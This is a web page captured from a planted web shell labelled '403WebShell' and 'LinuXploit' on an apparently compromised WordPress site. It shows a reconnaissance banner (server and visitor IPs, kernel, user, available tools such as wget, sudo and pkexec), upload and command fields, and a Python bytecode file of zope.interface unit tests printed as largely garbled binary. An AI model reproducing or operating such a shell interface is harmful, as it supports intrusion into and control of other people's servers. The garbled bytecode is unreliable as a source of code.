Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/zope/interface/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/zope/interface/tests/__pycache__/test_exceptions.cpython-310.pyc
o

$
x`'�@shdZddlZdd�ZGdd�dej�ZGdd�dej�Zd	d
�ZGdd�dej�ZGd
d�dej�ZdS)z& zope.interface.exceptions unit tests
�NcCs ddlm}Gdd�d|�}|S)Nr)�	Interfacec@seZdZdS)z_makeIface.<locals>.IDummyN)�__name__�
__module__�__qualname__�rr�F/usr/lib/python3/dist-packages/zope/interface/tests/test_exceptions.py�IDummysr)Zzope.interfacer)rrrrr�
_makeIfacesr	c@�,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�DoesNotImplementTestscC�ddlm}|S)Nr)�DoesNotImplement)�zope.interface.exceptionsr
)�selfr
rrr�_getTargetClass�z%DoesNotImplementTests._getTargetClasscGst�}|��|g|�R�S)N�r	r�r�args�ifacerrr�_makeOneszDoesNotImplementTests._makeOnecC�|��}|�t|�d�dS)Nz�An object has failed to implement interface zope.interface.tests.test_exceptions.IDummy: Does not declaratively implement the interface.�r�assertEqual�str�r�dnirrr�test___str__"�
�z"DoesNotImplementTests.test___str__cC�|�d�}|�t|�d�dS)N�	candidatez�The object 'candidate' has failed to implement interface zope.interface.tests.test_exceptions.IDummy: Does not declaratively implement the interface.rrrrr�test___str__w_candidate+�

�z-DoesNotImplementTests.test___str__w_candidateN�rrrrrrr!rrrrrs
	rc@r
)
�BrokenImplementationTestscCr)Nr)�BrokenImplementation)rr%)rr%rrrr7rz)BrokenImplementationTests._getTargetClasscGst�}|��|dg|�R�S)N�missingrrrrrr;sz"BrokenImplementationTests._makeOnecCr)Nz�An object has failed to implement interface zope.interface.tests.test_exceptions.IDummy: The 'missing' attribute was not provided.rrrrrr?rz&BrokenImplementationTests.test___str__cCr)Nr z�The object 'candidate' has failed to implement interface zope.interface.tests.test_exceptions.IDummy: The 'missing' attribute was not provided.rrrrrr!Gr"z1BrokenImplementationTests.test___str__w_candidateNr#rrrrr$5s
r$cCsdS)z�
    This is a global function with a simple argument list.

    It exists to be able to report the same information when
    formatting signatures under Python 2 and Python 3.
    Nrrrrr�broken_functionPsr'c@sHeZdZdd�ZdZdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�BrokenMethodImplementationTestscCr)Nr��BrokenMethodImplementation)rr*)rr*rrrr[rz/BrokenMethodImplementationTests._getTargetClass�	I said socGs|��d|jg|�R�S)N�aMethod)r�message)rrrrrrasz(BrokenMethodImplementationTests._makeOnecCr)NzoAn object has failed to implement interface <Unknown>: The contract of 'aMethod' is violated because I said so.rrrrrrdrz,BrokenMethodImplementationTests.test___str__cCs"|�ddd�}|�t|�d�dS)NZ
some_function�<IFoo>r zyThe object 'candidate' has failed to implement interface <IFoo>: The contract of 'aMethod' is violated because I said so.rrrrr�)test___str__w_candidate_no_implementationls
�zIBrokenMethodImplementationTests.test___str__w_candidate_no_implementationcCs(d|_|�tdd�}|�t|�d�dS)Nzimplementation is wonkyr.r z�The object 'candidate' has failed to implement interface <IFoo>: The contract of 'aMethod' is violated because 'broken_function()' is wonky.)r-rr'rrrrrr�(test___str__w_candidate_w_implementationt��zHBrokenMethodImplementationTests.test___str__w_candidate_w_implementationcCs(d|_|�ddd�}|�t|�d�dS)Nzimplementation is not callable�*r.r z�The object 'candidate' has failed to implement interface <IFoo>: The contract of 'aMethod' is violated because '42' is not callable.)r-rrrrrrr�5test___str__w_candidate_w_implementation_not_callable~r1zUBrokenMethodImplementationTests.test___str__w_candidate_w_implementation_not_callablecCs |�dd�}|�t|�d�dS)Nr zEBrokenMethodImplementation('aMethod', 'I said so', None, 'candidate'))rr�reprrrrr�test___repr__w_candidate�s
�z8BrokenMethodImplementationTests.test___repr__w_candidateN)rrrrr-rrr/r0r3r5rrrrr(Ys

r(c@r
)
�MultipleInvalidTestscCr)Nr)�MultipleInvalid)rr7)rr7rrrr�rz$MultipleInvalidTests._getTargetClasscCst�}|��|d|�S)N�targetr)r�excsrrrrr�szMultipleInvalidTests._makeOnecCs<ddlm}|dd�td�g}|�|�}|�t|�d�dS)Nrr)r,r+zRegular exceptionz�The object 'target' has failed to implement interface zope.interface.tests.test_exceptions.IDummy:
    The contract of 'aMethod' is violated because I said so
    Regular exception)rr*�	Exceptionrrr�rr*r9rrrr�test__str__�s�
�z MultipleInvalidTests.test__str__cCs>ddlm}|dd�tdd�g}|�|�}|�t|�d�dS)Nrr)r,r+ZRegularZ	exceptionz�MultipleInvalid(<InterfaceClass zope.interface.tests.test_exceptions.IDummy>, 'target', (BrokenMethodImplementation('aMethod', 'I said so'), Exception('Regular', 'exception'))))rr*r:rrr4r;rrr�test__repr__�s�
�z!MultipleInvalidTests.test__repr__N)rrrrrr<r=rrrrr6�s
r6)	�__doc__Zunittestr	ZTestCaserr$r'r(r6rrrr�<module>s
	7

Youez - 2016 - github.com/yon3zu
LinuXploit